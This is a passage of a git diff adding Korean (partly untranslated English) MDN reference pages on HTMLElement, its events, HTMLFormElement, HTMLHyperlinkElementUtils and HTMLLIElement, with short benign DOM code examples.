철자 검사를 제어하는 {{jsxref("Boolean")}} 입니다. 모든 HTML 요소에 존재하지만, 모두에 대해 적용되지는 않습니다.
+
{{domxref("HTMLElement.style")}}
+
요소의 스타일 속성의 정의를 나타내는 {{domxref("CSSStyleDeclaration")}} 객체입니다.
+
{{domxref("HTMLElement.tabIndex")}}
+
탭 순서에서 요소의 위치를 나타내는 long 입니다.
+
{{domxref("HTMLElement.title")}}
+
요소에 마우스를 오버할 때 팝업 상자에 표시되는 텍스트를 갖는 {{domxref("DOMString")}} 입니다.
+
{{domxref("HTMLElement.translate")}} {{experimental_inline}}
+
번역을 나타내는 {{jsxref("Boolean")}} 입니다.
+
+ +

이벤트 핸들러

+ +

onXYZ 형태의 대부분의 이벤트 핸들러 속성은 {{domxref("GlobalEventHandlers")}} 또는 {{domxref("TouchEventHandlers")}} 에 정의되어 있으며 HTMLElement 에 의해 구현되었습니다. 다음 HTMLElement 에 해당하는 핸들러입니다.

+ +
+
{{ domxref("HTMLElement.oncopy") }} {{ non-standard_inline() }}
+
copy 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).
+
{{ domxref("HTMLElement.oncut") }} {{ non-standard_inline() }}
+
cut 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).
+
{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}
+
paste 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).
+
{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}
+
{{event("touchstart")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}
+
{{event("touchend")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}
+
{{event("touchmove")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}
+
{{event("touchenter")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}
+
{{event("touchleave")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}
+
{{event("touchcancel")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
+ +

메서드

+ +

부모인 {{domxref("Element")}}의 메서드를 상속합니다.

+ +
+
{{domxref("HTMLElement.blur()")}}
+
현재 포커스된 요소로부터 키보드 포커스를 제거합니다.
+
{{domxref("HTMLElement.click()")}}
+
요소로 마우스 클릭 이벤트를 전달합니다.
+
{{domxref("HTMLElement.focus()")}}
+
요소에 현재 키보드 포커스를 생성합니다.
+
{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}
+
요소에 철자 확인자를 생성합니다.
+
+ +

이벤트

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
invalid
+
Fired when an element does not satisfy its constraints during constraint validation.
+ Also available via the oninvalid property.
+
+ +

Animation events

+ +
+
animationcancel
+
Fired when an animation unexpectedly aborts.
+ Also available via the onanimationcancel property.
+
animationend
+
Fired when an animation has completed normally.
+ Also available via the onanimationend property.
+
animationiteration
+
Fired when an animation iteration has completed.
+ Also available via the onanimationiteration property.
+
animationstart
+
Fired when an animation starts.
+ Also available via the onanimationstart property.
+
+ +

Input events

+ +
+
beforeinput
+
Fired when the value of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element is about to be modified.
+
input
+
Fired when the value of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.
+ Also available via the oninput property.
+
+ +

Pointer events

+ +
+
gotpointercapture
+
Fired when an element captures a pointer using setPointerCapture().
+ Also available via the ongotpointercapture property.
+
lostpointercapture
+
Fired when a captured pointer is released.
+ Also available via the onlostpointercapture property.
+
pointercancel
+
Fired when a pointer event is canceled.
+ Also available via the onpointercancel property.
+
pointerdown
+
Fired when a pointer becomes active.
+ Also available via the onpointerdown property.
+
pointerenter
+
Fired when a pointer is moved into the hit test boundaries of an element or one of its descendants.
+ Also available via the onpointerenter property.
+
pointerleave
+
Fired when a pointer is moved out of the hit test boundaries of an element.
+ Also available via the onpointerleave property.
+
pointermove
+
Fired when a pointer changes coordinates.
+ Also available via the onpointermove property.
+
pointerout
+
Fired when a pointer is moved out of the hit test boundaries of an element (among other reasons).
+ Also available via the onpointerout property.
+
pointerover
+
Fired when a pointer is moved into an element's hit test boundaries.
+ Also available via the onpointerover property.
+
pointerup
+
Fired when a pointer is no longer active.
+ Also available via the onpointerup property.
+
+ +

Transition events

+ +
+
transitioncancel
+
Fired when a CSS transition is canceled.
+ Also available via the ontransitioncancel property.
+
transitionend
+
Fired when a CSS transition has completed.
+ Also available via the ontransitionend property.
+
transitionrun
+
Fired when a CSS transition is first created.
+ Also available via the ontransitionrun property.
+
transitionstart
+
Fired when a CSS transition has actually started.
+ Also available via the ontransitionstart property.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}{{Spec2('CSSOM View')}}다음 속성들이 추가됨: offsetParent, offsetTop, offsetLeft, offsetWidth, offsetHeight.
{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}{{Spec2('HTML WHATWG')}}다음 속성들이 추가됨: translate, itemScope, itemType, itemId, itemRef, itemProp, properties, itemValue.
+ 다음 메소드가 추가됨: forceSpellcheck().
+ onXYZ 속성을 {{domxref("GlobalEventHandlers")}} 인터페이스로 이동하고 이로부터 상속을 추가함.
{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}{{Spec2('HTML5 W3C')}}다음 속성들이 추가됨: dataset, hidden, tabindex, accessKey, accessKeyLabel, draggable, dropzone, contentEditable, isContentEditable, contextMenu, spellcheck, commandType, commandLabel, commandIcon, commandHidden, commandDisabled, commandChecked, style, 모든 onXYZ 속성들.
+ idclassName 속성을 {{domxref("Element")}} 인터페이스로 이동함.
{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}{{Spec2('DOM2 HTML')}}{{SpecName('DOM2 HTML')}} 으로부터 변경 사항 없음
{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}{{Spec2('DOM1')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlelement/input_event/index.html b/files/ko/web/api/htmlelement/input_event/index.html new file mode 100644 index 0000000000..d8f606a439 --- /dev/null +++ b/files/ko/web/api/htmlelement/input_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'HTMLElement: input event' +slug: Web/API/HTMLElement/input_event +translation_of: Web/API/HTMLElement/input_event +--- +
{{APIRef}}
+ +

input 이벤트는 {{HTMLElement("input")}}, {{HTMLElement("select")}} 및 {{HTMLElement("textarea")}} 요소의 value 속성이 바뀔 때마다 발생한다.

+ + + + + + + + + + + + + + + + + + + + +
전파 가능가능
취소 가능불가
인터페이스{{DOMxRef("InputEvent")}}
이벤트 핸들러 속성{{domxref("GlobalEventHandlers.oninput")}}
+ +

또한, 이 이벤트는 아무 요소의 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 속성 및 {{domxref("Document.designMode", "designMode")}} 속성이 활성화 되어도 발생할 수 있다. 이런 경우, contenteditable 및 designMode, 속성이 활성화된 자식을 가진 편집 불가능한 최초 부모 요소에서 발생한다. 예를 들어 특정 요소에서 부모자식관계 중 자식 관계 여러개가 해당 속성이 활성화되어 내용 변경 시 이벤트가 발생해야 할 때, 해당 속성이 활성화되지 않은 최초의 부모 요소를 기준으로 발생하게 된다.

+ +

type=checkbox 및 type=radio, 속성을 가진 <input> 요소의 경우, HTML5 규격에 의하면, input 이벤트는 반드시 사용자가 작동시킬 때마다 발생된다. 하지만 애초부터 그렇게 설계되어 있지 않은 경우가 있으므로, 반드시 아래 호환성 문단을 참고하거나, 호환되지 않을 경우, {{domxref("HTMLElement/change_event", "change")}} 이벤트를 대신해서 사용하도록 한다.

+ +
+

참고: The input 이벤트는 {{domxref("HTMLElement/change_event", "change")}} 이벤트와는 달리 value 속성이 바뀔 시마다 반드시 일어난다. 값을 선택하거나 옵션 선택하자마자 일어나지만, 특정 글자를 입력 시에는 입력이 끝나고 value 속성에 적용되어야 발생하는데, 예를 들면, 한글 입력의 경우 한글자가 완성된 뒤 다른 키를 입력(예: 엔터 키)이 일어나야 발생된다. 이 또한 브라우저마다 다르므로 호환성을 확인하여 대응해야 한다. (역자 주)

+
+ +

예시

+ +

이 예시는 {{HtmlElement("input")}} 요소에 값을 입력하자마자 로그에 기록한다.

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="values"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('input', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}
+ +

Result

+ +

{{EmbedLiveSample("Examples")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('DOM3 Events', "#event-type-input", "input event")}}{{Spec2('DOM3 Events')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.input_event")}}

+ +

같이보기

+ + diff --git a/files/ko/web/api/htmlelement/offsetparent/index.html b/files/ko/web/api/htmlelement/offsetparent/index.html new file mode 100644 index 0000000000..f79d785530 --- /dev/null +++ b/files/ko/web/api/htmlelement/offsetparent/index.html @@ -0,0 +1,43 @@ +--- +title: HTMLElement.offsetParent +slug: Web/API/HTMLElement/offsetParent +translation_of: Web/API/HTMLElement/offsetParent +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement.offsetParent 읽기전용 프라퍼티는 가장 가까운 (포함 계층에서 가장 가까운) 위치가 정해진 포함하는 엘리먼트 객체에 대한 참조를 반환한다. offsetParent는 엘리먼트의 위치가 정해지지 않으면 가장 가까운 테이블 또는 테이블 셀, 루트 엘리먼트 (표준 준수 모드에서는 html; quirks 렌더링 모드에서는 body) 를 반환한다.
+ 엘리먼트의 style.display가 "none"으로 설정되면 null을 반환한다. offsetParent는 {{domxref("HTMLElement.offsetTop","offsetTop")}}과 {{domxref("HTMLElement.offsetLeft","offsetLeft")}}가 그것의 패딩 모서리에 상대적이기 때문에 유용하다.

+ +

문법

+ +
parentObj = element.offsetParent;
+
+ + + +

명세

+ + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('CSSOM View', '#dom-htmlelement-offsetparent', 'offsetParent')}}{{Spec2('CSSOM View')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.HTMLElement.offsetParent")}}

diff --git a/files/ko/web/api/htmlelement/outertext/index.html b/files/ko/web/api/htmlelement/outertext/index.html new file mode 100644 index 0000000000..5fba566816 --- /dev/null +++ b/files/ko/web/api/htmlelement/outertext/index.html @@ -0,0 +1,33 @@ +--- +title: HTMLElement.outerText +slug: Web/API/HTMLElement/outerText +translation_of: Web/API/HTMLElement/outerText +--- +
{{APIRef("DOM")}}
+ +

{{ Non-standard_header() }}

+ +

HTMLElement.outerText 는 비표준 속성(property)입니다. getter로써{{domxref("Node.innerText")}}의 값을 반환합니다. setter로써는 현재 노드를 삭제하고 주어진 텍스트값으로 대체합니다.

+ +

Example

+ +

StackOverflow의 이 답변을 보세요.

+ +

Specification

+ +

표준이 아니므로 스펙이 없습니다. 표준 논의가 다음에서 진행중입니다: whatwg/html#668.

+ +

Microsoft has a description on MSDN.

+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.outerText")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlelement/style/index.html b/files/ko/web/api/htmlelement/style/index.html new file mode 100644 index 0000000000..5976dd66bc --- /dev/null +++ b/files/ko/web/api/htmlelement/style/index.html @@ -0,0 +1,41 @@ +--- +title: element.style +slug: Web/API/HTMLElement/style +tags: + - API + - HTML DOM + - HTMLElement + - Property + - Reference + - Style +translation_of: Web/API/ElementCSSInlineStyle/style +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.style 속성은 요소의 인라인 스타일에 접근하거나 설정할 때 사용할 수 있습니다. 접근자로서는 요소의 인라인 style 속성이 포함한 CSS 선언을 담은 {{domxref("CSSStyleDeclaration")}} 객체를 반환합니다

+ +

예제

+ +
// Set multiple styles in a single statement
+elt.style.cssText = "color: blue; border: 1px solid black";
+// Or
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// Set specific style while leaving other inline style values untouched
+elt.style.color = "blue";
+ +

명세

+ +

DOM Level 2 Style: ElementCSSInlineStyle.style

+ +

CSSOM: ElementCSSInlineStyle

+ +

브라우저 호환성

+ +

{{Compat("api.HTMLElement.style")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlelement/tabindex/index.html b/files/ko/web/api/htmlelement/tabindex/index.html new file mode 100644 index 0000000000..7cbb0fa1f0 --- /dev/null +++ b/files/ko/web/api/htmlelement/tabindex/index.html @@ -0,0 +1,26 @@ +--- +title: element.tabIndex +slug: Web/API/HTMLElement/tabIndex +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +

{{ ApiRef() }}

+

요약

+

현재 요소의 탭 순서를 get/set.

+

구문

+
element.tabIndex =iIndex
+
+

매개변수

+ +

+
b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+
+

명세

+

tabIndex

+

{{ languages( { "en": "en/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" } ) }}

diff --git a/files/ko/web/api/htmlformelement/index.html b/files/ko/web/api/htmlformelement/index.html new file mode 100644 index 0000000000..b6131f14f9 --- /dev/null +++ b/files/ko/web/api/htmlformelement/index.html @@ -0,0 +1,240 @@ +--- +title: HTMLFormElement +slug: Web/API/HTMLFormElement +tags: + - API + - HTML DOM + - HTMLFormElement + - Interface + - Reference +translation_of: Web/API/HTMLFormElement +--- +
{{APIRef("HTML DOM")}}
+ +

The {{domxref("HTMLFormElement")}} interface represents a {{HTMLElement("form")}} element in the DOM; it allows access to and in some cases modification of aspects of the form, as well as access to its component elements.

+ +

{{InheritanceDiagram(600,120)}}

+ +

Properties

+ +

This interface also inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLFormElement.elements")}} {{ReadOnlyInline}}
+
A {{domxref("HTMLFormControlsCollection")}} holding all form controls belonging to this form element.
+
{{domxref("HTMLFormElement.length")}}{{ReadOnlyInline}}
+
A long reflecting the number of controls in the form.
+
{{domxref("HTMLFormElement.name")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("name", "form") }} HTML attribute, containing the name of the form.
+
{{domxref("HTMLFormElement.method")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("method", "form") }} HTML attribute, indicating the HTTP method used to submit the form. Only specified values can be set.
+
{{domxref("HTMLFormElement.target")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("target", "form") }} HTML attribute, indicating where to display the results received from submitting the form.
+
{{domxref("HTMLFormElement.action")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("action", "form") }} HTML attribute, containing the URI of a program that processes the information submitted by the form.
+
{{domxref("HTMLFormElement.encoding")}} or {{domxref("HTMLFormElement.enctype")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("enctype", "form") }} HTML attribute, indicating the type of content that is used to transmit the form to the server. Only specified values can be set. The two properties are synonyms.
+
{{domxref("HTMLFormElement.acceptCharset")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("accept-charset", "form") }} HTML attribute, representing the character encoding that the server accepts.
+
{{domxref("HTMLFormElement.autocomplete")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("autocomplete", "form") }} HTML attribute, indicating whether the controls in this form can have their values automatically populated by the browser.
+
{{domxref("HTMLFormElement.noValidate")}}
+
A {{jsxref("Boolean")}} reflecting the value of the form's {{ htmlattrxref("novalidate", "form") }} HTML attribute, indicating whether the form should not be validated.
+
+ +

Named inputs are added to their owner form instance as properties, and can overwrite native properties if they share the same name (eg a form with an input named action will have its action property return that input instead of the form's {{ htmlattrxref("action", "form") }} HTML attribute).

+ +

Methods

+ +

This interface also inherits methods from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLFormElement.checkValidity", "checkValidity()")}}
+
Returns true if the element's child controls are subject to constraint validation and satisfy those contraints; returns false if some controls do not satisfy their constraints. Fires an event named {{event("invalid")}} at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled. It is up to the programmer to decide how to respond to false.
+
{{domxref("HTMLFormElement.reportValidity", "reportValidity()")}}
+
Returns true if the element's child controls satisfy their validation constraints. When false is returned, cancelable {{Event("invalid")}} events are fired for each invalid child and validation problems are reported to the user.
+
{{domxref("HTMLFormElement.requestSubmit", "requestSubmit()")}}
+
Requests that the form be submitted using the specified submit button and its corresponding configuration.
+
{{domxref("HTMLFormElement.reset", "reset()")}}
+
Resets the form to its initial state.
+
{{domxref("HTMLFormElement.submit", "submit()")}}
+
Submits the form to the server.
+
+ +

Deprecated methods

+ +
+
{{domxref("HTMLFormElement.requestAutocomplete()")}} {{deprecated_inline}}
+
Triggers a native browser interface to assist the user in completing the fields which have an autofill field name value that is not off or on. The form will receive an event once the user has finished with the interface, the event will either be {{event("autocomplete")}} when the fields have been filled or {{event("autocompleteerror")}} when there was a problem.
+
+ +

Events

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
formdata
+
The formdata event fires after the entry list representing the form's data is constructed.
+ Also available via the onformdata property.
+
reset
+
The reset event fires when a form is reset.
+ Also available via the onreset property.
+
submit
+
The submit event fires when a form is submitted.
+ Also available via the onsubmit property.
+
+ +

Usage notes

+ +

Obtaining a form element object

+ +

To obtain an HTMLFormElement object, you can use a CSS selector with {{domxref("ParentNode.querySelector", "querySelector()")}}, or you can get a list of all of the forms in the document using its {{domxref("Document.forms", "forms")}} property.

+ +

{{domxref("Document.forms")}} returns an array of HTMLFormElement objects listing each of the forms on the page. You can then use any of the following syntaxes to get an individual form:

+ +
+
document.forms[index]
+
Returns the form at the specified index into the array of forms.
+
document.forms[id]
+
Returns the form whose ID is id.
+
document.forms[name]
+
Returns the form whose {{domxref("Element.name", "name")}} attribute's value is name.
+
+ +

Accessing the form's elements

+ +

You can access the list of the form's data-containing elements by examining the form's {{domxref("HTMLFormElement.elements", "elements")}} property. This returns an {{domxref("HTMLFormControlsCollection")}} listing all of the form's user data entry elements, both those which are descendants of the <form> and those which are made members of the form using their form attributes.

+ +

You can also get the form's element by using its name attribute as a key of the form, but using elements is a better approach — it contains only the form's elements, and it cannot be mixed with other attributes of the form.

+ +

Elements that are considered form controls

+ +

The elements which are included by HTMLFormElement.elements and HTMLFormElement.length are:

+ + + +

No other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms.

+ +

Examples

+ +

Creating a new form element, modifying its attributes, then submitting it:

+ +
var f = document.createElement("form");// Create a form
+document.body.appendChild(f);          // Add it to the document body
+f.action = "/cgi-bin/some.cgi";        // Add action and method attributes
+f.method = "POST";
+f.submit();                            // Call the form's submit method
+
+ +

Extract information from a form element and set some of its attributes:

+ +
<form name="formA" action="/cgi-bin/test" method="post">
+ <p>Press "Info" for form details, or "Set" to change those details.</p>
+ <p>
+  <button type="button" onclick="getFormInfo();">Info</button>
+  <button type="button" onclick="setFormInfo(this.form);">Set</button>
+  <button type="reset">Reset</button>
+ </p>
+
+ <textarea id="form-info" rows="15" cols="20"></textarea>
+</form>
+
+<script>
+  function getFormInfo(){
+    // Get a reference to the form via its name
+    var f = document.forms["formA"];
+    // The form properties we're interested in
+    var properties = [ 'elements', 'length', 'name', 'charset', 'action', 'acceptCharset', 'action', 'enctype', 'method', 'target' ];
+    // Iterate over the properties, turning them into a string that we can display to the user
+    var info = properties.map(function(property) { return property + ": " + f[property] }).join("\n");
+
+    // Set the form's <textarea> to display the form's properties
+    document.forms["formA"].elements['form-info'].value = info; // document.forms["formA"]['form-info'].value would also work
+  }
+
+  function setFormInfo(f){ // Argument should be a form element reference.
+    f.action = "a-different-url.cgi";
+    f.name   = "a-different-name";
+  }
+</script>
+
+ +

Submit a form into a new window:

+ +
<!doctype html>
+<html>
+<head>
+<meta charset="utf-8">
+<title>Example new-window form submission</title>
+</head>
+<body>
+
+<form action="test.php" target="_blank">
+  <p><label>First name: <input type="text" name="firstname"></label></p>
+  <p><label>Last name: <input type="text" name="lastname"></label></p>
+  <p><label><input type="password" name="pwd"></label></p>
+
+  <fieldset>
+   <legend>Pet preference</legend>
+    <p><label><input type="radio" name="pet" value="cat"> Cat</label></p>
+    <p><label><input type="radio" name="pet" value="dog"> Dog</label></p>
+  </fieldset>
+
+  <fieldset>
+    <legend>Owned vehicles</legend>
+
+    <p><label><input type="checkbox" name="vehicle" value="Bike">I have a bike</label></p>
+    <p><label><input type="checkbox" name="vehicle" value="Car">I have a car</label></p>
+  </fieldset>
+
+  <p><button>Submit</button></p>
+</form>
+
+</body>
+</html>
+ +

Submitting forms and uploading files using XMLHttpRequest

+ +

If you want to know how to serialize and submit a form using the {{domxref("XMLHttpRequest")}} API, please read this paragraph.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmlformelement", "HTMLFormElement")}}{{Spec2('HTML WHATWG')}}The following method has been added: requestAutocomplete().
{{SpecName('HTML5 W3C', "sec-forms.html#htmlformelement", "HTMLFormElement")}}{{Spec2('HTML5 W3C')}}The elements properties returns an {{domxref("HTMLFormControlsCollection")}} instead of a raw {{domxref("HTMLCollection")}}. This is mainly a technical change. The following method has been added: checkValidity(). The following properties have been added: autocomplete, noValidate, and encoding.
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLFormElement")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlhyperlinkelementutils/href/index.html b/files/ko/web/api/htmlhyperlinkelementutils/href/index.html new file mode 100644 index 0000000000..ba2dbea4d5 --- /dev/null +++ b/files/ko/web/api/htmlhyperlinkelementutils/href/index.html @@ -0,0 +1,51 @@ +--- +title: HTMLHyperlinkElementUtils.href +slug: Web/API/HTMLHyperlinkElementUtils/href +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Location + - Property + - Reference +translation_of: Web/API/HTMLHyperlinkElementUtils/href +--- +
{{ApiRef("URL API")}}
+ +

HTMLHyperlinkElementUtils.href 속성은 온전한 URL을 값으로 가지는 {{domxref("USVString")}}입니다.

+ +

예제

+ +
// Lets imagine an <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> element is in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLHyperlinkElementUtils.href")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlhyperlinkelementutils/index.html b/files/ko/web/api/htmlhyperlinkelementutils/index.html new file mode 100644 index 0000000000..cd82725dbf --- /dev/null +++ b/files/ko/web/api/htmlhyperlinkelementutils/index.html @@ -0,0 +1,91 @@ +--- +title: HTMLHyperlinkElementUtils +slug: Web/API/HTMLHyperlinkElementUtils +tags: + - API + - Experimental + - Mixin + - NeedsTranslation + - TopicStub + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}}

+ +

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

+ +

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

+ +

Properties

+ +
+

Note: This interface doesn't inherit any property.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.href")}}
+
This is a {{domxref("USVString")}} containing the whole URL.
+
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
+
This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
+
{{domxref("HTMLHyperlinkElementUtils.host")}}
+
This is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
+
This is a {{domxref("USVString")}} containing the domain of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.port")}}
+
This is a {{domxref("USVString")}} containing the port number of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
+
This is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.search")}}
+
This is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hash")}}
+
This is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.username")}}
+
This is a {{domxref("USVString")}} containing the username specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.password")}}
+
This is a {{domxref("USVString")}} containing the password specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
+
This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).
+
+ +

Methods

+ +
+

Note: This interface doesn't inherit any method.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
+
This returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLHyperlinkElementUtils")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmllielement/index.html b/files/ko/web/api/htmllielement/index.html new file mode 100644 index 0000000000..8d75b5f623 --- /dev/null +++ b/files/ko/web/api/htmllielement/index.html @@ -0,0 +1,77 @@ +--- +title: HTMLLIElement +slug: Web/API/HTMLLIElement +translation_of: Web/API/HTMLLIElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

 HTMLLIElement 인터페이스는 리스트 엘리먼트를 조작하기 위한 특정 프로퍼티와 메소드들을 제공합니다.

+ +

( 정규 {{domxref("HTMLElement")}} 인터페이스의 상속을통해 사용이 가능합니다. )

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

부모인 {{domxref("HTMLElement")}}에서 상속받습니다.

+ +
+
{{domxref("HTMLLIElement.type")}} {{obsolete_inline}}
+
는  {{domxref("DOMString")}} 의 "disc", "square" 나 "circle" 같은 bullets 타입을 대표합니다.
+ 리스트 유형을 정의하는 표준 정의 방법은 CSS {{cssxref("list-style-type")}} 프로퍼티를 통해서 이므로, 스트립트를 통하여 CSSSOM 메소드를 사용하세요.
+
{{domxref("HTMLLIElement.value")}}
+
는 주어진 {{HTMLElement("ol")}} 리스트 엘리먼트 안에서 서수의 위치를 가르키는 오랜 서수적 포지션입니다. 이것은 HTML의  {{HTMLElement("li")}}엘리먼트의 {{htmlattrxref("value", "li")}}속성을 나타냅니다. 그리고  0 보다 작을 수도 있습니다.
+ 만일 {{HTMLElement("li")}} 엘리먼트가 {{HTMLElement("ol")}}  엘리먼트의 자식이 아니라면, 프로퍼티는 아무 의미가 없게됩니다.
+
+ +

Methods

+ +

특정 메소드가 없으며, 부모로부터 프로퍼티를 상속 받습니다.{{domxref("HTMLElement")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmllielement", "HTMLLIElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "grouping-content.html#the-li-element", "HTMLLIElement")}}{{Spec2('HTML5 W3C')}}The following property is now obsolete: type.
{{SpecName('DOM2 HTML', 'html.html#ID-74680021', 'HTMLLIElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-74680021', 'HTMLLIElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.HTMLLIElement")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/htmlmediaelement/autoplay/index.html b/files/ko/web/api/htmlmediaelement/autoplay/index.html new file mode 100644 index 0000000000..666c3a41a8 --- /dev/null +++ b/files/ko/web/api/htmlmediaelement/autoplay/index.html @@ -0,0 +1,79 @@ +--- +title: HTMLMediaElement.autoplay +slug: Web/API/HTMLMediaElement/autoplay +translation_of: Web/API/HTMLMediaElement/autoplay +--- +

{{APIRef("HTML DOM")}}

+ +

